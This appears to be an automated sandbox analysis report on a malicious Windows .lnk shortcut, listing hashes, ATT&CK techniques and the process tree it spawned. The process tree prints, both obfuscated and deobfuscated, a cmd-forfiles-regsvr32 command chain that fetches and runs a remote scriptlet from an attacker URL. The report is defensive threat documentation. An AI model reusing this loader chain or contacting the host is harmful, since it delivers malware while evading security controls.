46b07903ce8681aea5cbe285533c3cd51e42174401646d06e84d5cfe27ac89c9

General

Target
RAGEL-IDOGIDIHIT-OR.lnk
Size 9KB
Sample260731-d37m2aam7x
SHA256 46b07903ce8681aea5cbe285533c3cd51e42174401646d06e84d5cfe27ac89c9
MD5 f96cd3814e9d81c9ca567bac6c77bca7
SHA1 3111625cfeb11021938049fdf768af3c31c472d5
SHA512 6e8e9d76a81fdcc77f91c30e9f155e9c1833721087714413a4c72f0bb6fe33a2347ee9cb6051cfb932f45c36a28a02b16c3ccee9c336abdcb135d5d3c702b3f1
SSDEEP 192:8RYkoB2QKlrYs8Rwskcv1pSdZhaAU1Al7cTcPbPXbKCHta1:4Yk/QGrYHiskcz2v3rl7cOb/bKCS
TLSH
T1C2122C3434EA1019D573FB7B4FDEA9ABDFBAB222223B642E216147478601D01DE52739
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
5844	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2200	cmd.exe
3408	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 3408	2200	cmd.exe	90
PID 3408 wrote to memory of 5844	3408	cmd.exe	91
PID 5844 wrote to memory of 4720	5844	forfiles.exe	92
PID 4720 wrote to memory of 5580	4720	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RAGEL-IDOGIDIHIT-OR.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /TSBXXQUGCNJ:1UKWQAO2R7Z57HPSQ /YTHMKDDZWOYJBSJFRI:DSCI4L13HE8N59YN4BMAXSAN /MNGCSOSFXAOSXDIITHVONYP:8XS679A566H0BC757F4 /TIGZOJHGILIJKDCNHOZPYTDKP:BOGVY1JOB5UMARKMYZ52OX9 /SECXJUILXZSNWTDMHPUKLRS:FN69ZX1NKMNKF1GORYG9DAGF5 /PCGDWTOIODHPAFYGNVXHQM:239FKIUZMEDSNDLYNK /UQLMVXXMWSLIHUMEUTKWMMTEU:PMBZ8SL6P32XAJI68LD1I5KQH /UDIWIVODBHLTDONHUGLMOZKY:TM8RN7FVZAYW9KFKZKIW1Y21 /ZJUOAAHIHQYAIYUOHMHAK:MGGJ9I704HTG57CUG0I4LVO67 /VNSRMDXRATY:6LWE0GQA3X4HV4KF /XMPQZZLDVJR:UYYDNU8D849CA1ZSDE /MUAKLIVDDU:LFP91366D8 /LRRACLCJHAO:9Z3MOX2CRK5DKWI /DWMOCSCKJICMFWRWGDKRTOL:0ZN1GC1T370IQ02TH95VNZD /AGFMGUVKKDEWERHNWVEURDKH:R3FN50XEVNOK8 /VLBLRPSFBIINMMBOJPQRZTNM:CGU1UTBZFA2LX6JBH76N /FYTFSQCAWSWMVDNUNVUF:RBO17L0T38JFWNGAWQ1VGK1 /OBNTCQWCQGRWMBUEJHQSDC:B465SMMLJ9P /PPSVHXEHVXPSCVBTUAM:5FV9FO8O8CPEC2X6KE7NV1 /QQPDKCJIFXOPILTFCLPNTQ:DTYV7C1JIWORNW /NLSJGLKDVAYAJIW:ZJOJQET9I1IXE4LZLBHBZ /TEWOCISRJXGKXHCKPDIJK:20CO2OOO3H4D4HN8 /VGHJPXWXHFTVFOK:GEXNMBN6M7SVM2E82SVZ4X77Q /PBFMFBGTXP:JJ60FH3M6JBC61IHPTNNSXA /MSRMECPYBZEJEKYR:IXHYOGQH19DAK /YMUCUUGZGXCAGJNYSRQOECB:HSWYMV28XMZ /DLRQKJKJWTTTYQVQAAKVJEVHY:VH8BRAJIDCRHM3V4U3Q /IVWNGGMATJAJO:C3EVEZX7Q27KOH /WRJUBZLBQAYGGXVZAZ:6H86WC2VEPJXD62PJZJLQ8 /LWDXRSBBWRVGTKZZIRHHSHEGT:O1QDLVB3E2RZ5 /JFSPNFYXVBPIRYZ:NP4KJ0GLG6RVXXBDC49FOU /OVLBGAOVWWDBKEXYJAZYJJJO:ZF917ENASPW6U /PHQNIGSJIVIEVJKWMQSKM:V76MPK6K2USNHYCB /YEWVJXMZKPEQUQG:8CDQE3UUG76AWQIER5 /ZUAJWHARMVTAVHONQ:6NR8QRUINV6CHSI4H13VK /VGVOUONDEWWEQIELPPKH:KX54KWBJBK4A3 /UESKQGYNFSSWAQPOHEIEHG:GAARJGXMJBZLNO1JTGXB26XLQ /NYJEJCNAOCSO:KLYV0TQXA1EJYLRI2TG20Q4PX /LQKKZYHJCFSPGII:QE9Q014M17Z1FOGGDL /GZBLSLPFVUSFPZASHLA:RWT2ZYS3QLAUWV7BYV /PJYUVTVWUJU:V9TP17GUCQERJR9V4ANAPUXYD /YMXSDGRLLUWLDCIT:G5ZDCA075TOOWE3JQV47TXBF6 /TDAFKCNMLOSSVVHQBH:VPD7P9C5KAM40HBG5UDM0IZI2 /BJBKVEVMACDMHAXAATWRGWNDB:GP72KAE8PNUTX /LNRJSXPYYTNFCGHRZ:ESKG7VHNPEEIYAO7 /TNXTOMATTYD:NFVS4O3HGNI3MOVGHX /FFXXSBVXMGYQWDNR:3LVHAVVZDC7XH2781W /SDXFNNIVZVMUWJCI:Q88IU3RJ0QMPV5DUFUR1 /YYDZLKQKQDMPEMYEXDFM:TPUTIHMI7R6WJJ /QWVBVWUPKAT:KQNE78YK1YM /GMLGAIRYTSDITA:J6JMP1ROBRZRLC08GU /XKOAKUKIRULEUVHVOQYWV:C7EOMWDNAMZ3U8MOIUZN1XCX /YCOMIORPLBXDP:DMT3ZIMLDH9 /XLOJACJFSHUEZDXTIJBX:A1YPJ8P8ON0XO33Z70 /NIEFLVIKAG:EGATLRGREQE88U /SDWCATCQCBDVOINRK:KK6GQP7HXJDDMBV9AATHML /FMOTWXPEHPSOPMYJ:295V4YJ5CWPSTY8OQOZQ8S /HYDOTKZETXMFCRYRRVRWR:G2FAI4TYITY5C /SWENOJMMPUSZYTXIBZRNPLRL:VO3C0A8UOI4TDIDT036487 /BUBCXHYIVQT:8ZBIZV3GEH6RV /EJYRIGVXJEEILCME:95K5R7YMMW66QIGZVW /SFVBNTDXVLVGSOYGVBWOZ:9QRCBI0OHWURALUT /BPARYWQOQMEMEZVEAIKE:BI0PKTR3XTGLH0IYA7WTCYH /FUGOQGKPWT:OTORP1V1FBAS3NB3GTZ9FPXQ /VAOZBWSRNIKBPSHYYPE:9TZY2E9MELJ9XN9XND /YKVNTXVFRZIBFY:OWSED134LDJLZJ8Q17YXJWL /ZAZRJANFNZUDVQ:DTAKJAJJEM6E436WJG6WAOR /GHQRGSZGJPDAOIOTMAMFEKMQ:ESXS9WBYTZ1FOMGW8 /NHOSPPLGVTWMMRDAKITXX:UWNLV8AJA7WG /NQAEMACAKVXTYRZGFKUGMWY:KXL4AC44FCQZ6 /YLMIDYNOGYYKSPRHEAMNGOP:U8V512QZZUSI28PFBEVYA95 /OBXBNRZAYPAQG:8Y76281ECHNGAF6EQ /HCHPAKRXTJNF:OIGP5545183K4QI /BTCQBFWLNFRRKRHTJG:48E9G0693HBM6ZBKUKDRKMI /DIRNAISKSFNOOJBQBPN:Q5X3W63EWQA6EPUBS /UNLSEKELQOWAQFIAVSVO:TLDQ5DBXW0F3HU7SFZXGUFV /ICTKOJWOCC:0NNQUQQEWPD /TQMUTIUZPDVUPWFRSRAKRBNEJ:F1R9J4X1QWKUPNHNKQK /SAEZEDVTHZFXLPM:7V4RC16YFN /SVDMWLLPOHZVHPJC:7ZRU5M9LS43K5A99FS0G /UJAZIZHYXUXGXYJGJHZVMX:HQEBCGSK2H0YV /LSVAWEJZSPTZTJCB:BH812ZVVW9FX /BQLWOKWRSP:D7CKDWL3OHQJY7XDJI2HHZADK /QAALBWAPOEIUXLTHBV:XV46COT5UWUTS9IH104O /IUGTFFQGNLOGOGLSHMWVVYI:XN1RGSL298ZFAIBOQ7HKXH3A6 /D/C "foR %z in (hqn0smhzjl) do FoR %d in (regs) do fOR %o in (o6prp) do FOR %g in (vr) DO FOr %h in (32) dO FoR %t in (fo) do FOr %w in (rfi) Do FOR %f in (les) DO FoR %n in (Syste) DO fOR %j in (m32) DO foR %r in (arv53g) DO FOr %p in (C:\Windows) dO %t%w%f /p %p\%n%j /m s?robj.dll /c "cmd /c %TEMP:~0,1%:\Wi^ndo^w^s\%n%j\%d%g%h.exe -s -n -u -i:http^s://l^uizrab^el^oporto^ss.harm^oniaca^mpestre.websit^e/ubzmqd^qkwcml/70709844/ @path""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\forfiles.exe
    forfiles /p C:\Windows\System32 /m s?robj.dll /c "cmd /c %TEMP:~0,1%:\Wi^ndo^w^s\System32\regsvr32.exe -s -n -u -i:http^s://l^uizrab^el^oporto^ss.harm^oniaca^mpestre.websit^e/ubzmqd^qkwcml/70709844/ @path"
    3⤵
    - Indirect Command Execution
    - Suspicious use of WriteProcessMemory
    PID:5844
  - - C:\Windows\system32\cmd.exe
      /c %TEMP:~0,1%:\Wi^ndo^w^s\System32\regsvr32.exe -s -n -u -i:http^s://l^uizrab^el^oporto^ss.harm^oniaca^mpestre.websit^e/ubzmqd^qkwcml/70709844/ "C:\Windows\System32\scrobj.dll"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4720
    - - C:\Windows\System32\regsvr32.exe
        
        C:\Windows\System32\regsvr32.exe -s -n -u -i:https://luizrabeloportoss.harmoniacampestre.website/ubzmqdqkwcml/70709844/ "C:\Windows\System32\scrobj.dll"
        5⤵
        
        PID:5580